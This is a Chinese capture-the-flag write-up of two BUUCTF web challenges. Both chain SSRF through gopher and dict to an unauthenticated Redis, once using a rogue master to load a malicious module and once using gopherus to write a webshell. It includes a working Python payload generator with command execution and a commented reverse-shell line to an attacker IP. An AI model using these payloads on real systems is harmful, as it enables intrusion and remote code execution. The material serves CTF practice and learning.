redis 客户端和服务端之间采用RESP 协议来通信,RESP 协议全称 REdis Serialization Protocol 理解 Redis 的 RESP 协议 搞清RESP 协议,就可以看懂 redis-rogue-server.py 中是怎么构造协议的了,以及怎么把redis 客户端命令转化成 通信时的 数据了
贴一篇文章,讲到很详细:Redis 全量同步解析 也就是说master 回复 +FULLRESYNC ,接着就把发送RDB 文件给 slave 看看redis-rogue-server.py源代码 中也正是利用这点,把原来需要发送的RDB 替换成了evil.so : 意思就是 本来FULLERSYNC 中, master 是要发送master 的rdb 文件给slave 的,但是通过脚本的修改,发送evil.so 的内容给slave 了 这样一来,master 就通过FULLERSYNC 来将evil.so 文件传到了slave
本题在buu 上复现,首先进入题目,利用http://0.0.0.0/hint.php 绕过check_inner_ip() 函数的检测 发现提示 redis 的密码 为 root , 使用dict 协议尝试 一下 http://6192276e-39e6-4716-859a-e0ca5bff94ac.node3.buuoj.cn/?url=dict://0.0.0.0:6379/AUTH%3Aroot 认证 认证正确 利用小号开启buu 的一个linux 主机,因为buu 的 内网 linux 主机没法直接联网下载文件,所以使用ssh 上传本地下载好的redis-rogue-server 脚本 开启 server 然后使用构造gopher 协议的脚本 自己结合网上的脚本改进了,贴出脚本:
# 使用方法就是分三次生成payload (dirty hack ,打开每次cmd 里面的注释)。 from urllib.parse import quote def redis_format(arr): CRLF = "\r\n" redis_arr = arr.split(" ") cmd = "" cmd += "*" + str(len(redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str(len((x))) + CRLF + x cmd += CRLF return cmd def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"): exp_filename = "exp.so" cmd = [ # 第一次 # "CONFIG SET dir /tmp/", # "config set dbfilename exp.so", # "SLAVEOF {} {}".format(lhost, lport), # 第二次 # "MODULE LOAD /tmp/exp.so", # 第三次 "system.exec {}".format(command.replace(" ", "${IFS}")), # 这里有个细节就是使用${IFS}代替参数中的空格,因为上面的redis_format函数会根据空格来进行分割命令和参数 # "system.rev 174.2.6.11${IFS}2333", # "SLAVEOF NO ONE", # "CONFIG SET dbfilename dump.rdb", # "system.exec rm${IFS}/tmp/{}".format(exp_filename), # "MODULE UNLOAD system", "quit", ] if passwd: cmd.insert(0, "AUTH {}".format(passwd)) return cmd if __name__ == '__main__': #攻击机ip: lhost = "174.2.6.11" lport = "21000" passwd = "root" command = "cat /flag" # command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1" cmd = generate_rce(lhost,lport,passwd,command) rhost = "0.0.0.0" rport = "6379" payload = 'gopher://'+rhost+":"+rport+"/_" a = "" for x in cmd: a += redis_format(x) payload += quote(redis_format(x)) print(a) print(payload)第一次paylod :
第二次payload: 第三次payload:
还需要注意的一点是由于题目中还使用了curl ,所以需要对payload 进行二次url 编码,这个利用hackbar 可以很方便的操作但是buu 的环境 我反弹shell 没有成功,使用system.rev 命令或者 system.exec 加反弹shell 命令 都没有反弹成功。也不知道什么原因,但是system.exec 确实可以执行命令,然后执行cat /flag 就可以得到flag 了
同样在buu 复现 首先进入题目,查看源代码,访问?secret 返回的是ifconfig 的结果,然后输入框中又提示 输入url ,很敏感,想到ssrf,然后通过结果 返回173.211.241.10 ,用burp 跑一下,得到173.211.241.11 那就接着跑端口,发现6379端口是开发的 推荐一款 gopher 协议利用工具 gopherus,非常好用,直接使用 gopherus 工具,直接生成webshell , 对了,直接在windows 下运行会出现乱码,修改gopherus.py ,在开头增加 :
import colorama from colorama import init,Fore,Back,Style init(autoreset=True)即可解决乱码问题 把payload 放到url 处,然后再访问 http://173.211.241.11/shell.php 即可得到flag 题目作者的wp : GKCTF-EzWeb+redis未授权访问 , 里面提到一嘴,如果使用dict 协议来直接写webshell 可能会导致乱码或者写入失败,这个时候可以使用主从复制,在master 上面写shell ,然后通过主从复制,写入到slave 中。这个小 tips 可以记住